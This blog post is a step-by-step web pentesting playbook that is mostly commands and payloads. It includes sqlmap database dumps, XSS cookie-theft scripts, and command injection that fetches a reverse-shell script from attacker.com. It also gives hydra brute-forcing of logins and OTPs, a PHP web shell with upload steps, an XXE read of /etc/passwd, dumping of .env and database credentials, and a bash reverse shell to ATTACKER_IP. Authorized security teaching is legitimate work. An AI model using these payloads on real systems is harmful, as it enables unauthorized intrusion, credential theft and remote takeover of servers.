Post

Hack the Web: Real-World Web Application Pentesting Flow

Forget theory, this is how real hackers test web apps. From recon to RCE, here's the step-by-step attack flow used in the wild.

Posted Updated
By Elimane Juuf
3 min read
Hack the Web: Real-World Web Application Pentesting Flow

“The surface is just HTML. The real vulnerabilities hide behind logic, endpoints, and trust.”

1. Web Reconnaissance

Subdomain & Directory Hunting

1
2
3

subfinder -d target.com -o subs.txt
dirsearch -u https://target.com -e php,js,html,asp
sublist3r -d target.com -o subdomains.txt

Tech Fingerprinting

1
2
3

whatweb https://target.com
nmap -sV -p 80,443 target.com
httpx -status-code -tech-detect -title -silent > live.txt

Look for forgotten admin panels, hidden APIs, staging servers, or unused subdomains that could be entry points.

Web Server and Firewall Fingerprinting

1
2

wappalyzer https://target.com
nmap -p 80,443 --script http-enum target.com

2. Analyze Request/Response Flow

Use Burp Suite or ZAP to:

  • Intercept all HTTP traffic
  • Analyze parameters, cookies, headers
  • Identify auth flows, tokens, session handling

Check for insecure direct object references (IDOR), CSRF, broken access control, and token leakage.

Analyzing Cookies and Session Management

1

curl -I -X GET https://target.com/login | grep "Set-Cookie"

Check for:

  • Cookie flags (HttpOnly, Secure, SameSite)
  • Session fixation or weak session management

3. Input-Based Attacks

SQL Injection

1

' OR 1=1-- -

1
2

sqlmap -u "https://target.com/product?id=3" --dbs --level=5 --risk=3
sqlmap -u "https://target.com/index.php?user=admin&pass=' OR 1=1 --" --dump

Advanced SQLi Commands:

1

sqlmap -u "https://target.com/item?id=1" --union-cols=10 --union-char=1 --batch --dbs

XSS (Reflected / Stored)

1

"><script>alert('XSS')</script>

Advanced XSS: Test for stored XSS in profile, comment, and feedback forms.

1

<script>alert(document.cookie)</script>

Command Injection

1
2

127.0.0.1; whoami
curl -X GET "https://target.com/?id=$(curl attacker.com/reverse-shell.sh)"

4. Authentication Bypass & Bruteforce

Brute POST Logins

1

hydra -l admin -P rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"

Check for:

  • Default creds (admin:admin)
  • No rate limiting
  • Leaked password reset endpoints

OTP Bypass (Token Brute Force)

1

hydra -l admin -P otp_list.txt target.com http-post-form "/login:username=^USER^&password=^PASS^&otp=^OTP^:Invalid login"

Bypassing CAPTCHA

1

gocr -c 0 -i captcha.png > captcha_output.txt

5. Exploit Misconfigurations

File Upload → RCE

1

<?php system($_GET['cmd']); ?>

Upload and access:

1

/uploads/shell.php?cmd=id

Exposed Git repo

1

curl target.com/.git/config

Then use:

1

git-dumper https://target.com/.git/ dumped-site/

SSTI / XXE / SSRF

Test payloads in templates, XML parsers, and image URLs:

1

<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

Exploiting API Endpoints (API Rate Limiting)

1

curl -X GET https://target.com/api/v1/products --header "Authorization: Bearer YOUR_TOKEN"

Check for:

  • Rate limiting bypass via multiple tokens or IP addresses

6. Advanced Tricks

  • JWT token cracking: try john, jwt_tool, weak secrets
    1

    jwt_tool -t token.jwt
  • Deserialization: look for serialized objects in cookies or POST
    1

    echo "serialized_object" | python -c 'import pickle; print(pickle.loads(input()))'
  • CSP bypass → steal sessions with clever XSS
    1

    <script src="https://attacker.com/malicious.js"></script>

7. Post-Exploitation

Once you get RCE or access:

  • Enumerate server (whoami, uname -a, netstat -tunlp)
    1
2
3

    whoami
uname -a
netstat -tunlp
  • Dump .env, config files, DB creds
    1
2

    cat /var/www/.env
cat /var/www/config.php
  • Pivot into internal admin panels
  • Upload web shells or reverse shells (use weevely, nishang, php-reverse-shell)
    1

    weevely generate shell.php password
  • Use reverse shell techniques:
    1
2

    nc -lvnp 4444
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

8. Exploiting Server Misconfigurations

Nginx / Apache Configs

1
2

cat /etc/nginx/nginx.conf
cat /etc/apache2/sites-available/000-default.conf

Look for:

  • Misconfigured Server headers
  • Exposed sensitive paths

Docker and Kubernetes Misconfigurations

1

docker exec -it container_name bash

Look for:

  • Exposed Docker APIs
  • Vulnerabilities in running containers

Tools You’ll Want

ToolUse Case
Burp SuiteIntercept, test, automate
sqlmapSQL injection + DB takeover
ffufFuzzing parameters/directories
wpscanWordPress vulnerability scanning
jwt_toolJWT analysis + cracking
gf, nucleiPattern + vuln scanning
git-dumperDump exposed git repositories
dirsearchDirectory brute-forcing
hydraBrute force various services
gocrCAPTCHA cracking
weevelyWeb shell management

Authorized pentests only. Targeting random websites is illegal, stay ethical.

Attack Flow Summary

  1. Recon (subdomains, dirs, tech stack)
  2. Analyze HTTP logic (auth, roles, sessions)
  3. Inject payloads (XSS, SQLi, LFI, RCE)
  4. Abuse logic flaws & misconfig
  5. Post-exploitation & lateral access

Next Steps / Labs

  • Hack The Box: Injection, Traverxec, Jeeves, SwagShop
  • Try OWASP Juice Shop or DVWA
  • Practice on real bug bounty programs (HackerOne, Bugcrowd)

“The best payload isn’t in a list. It’s in your head.”

Pentesting
web hacking xss sqli rce recon bugbounty
This post is licensed under CC BY 4.0 by the author.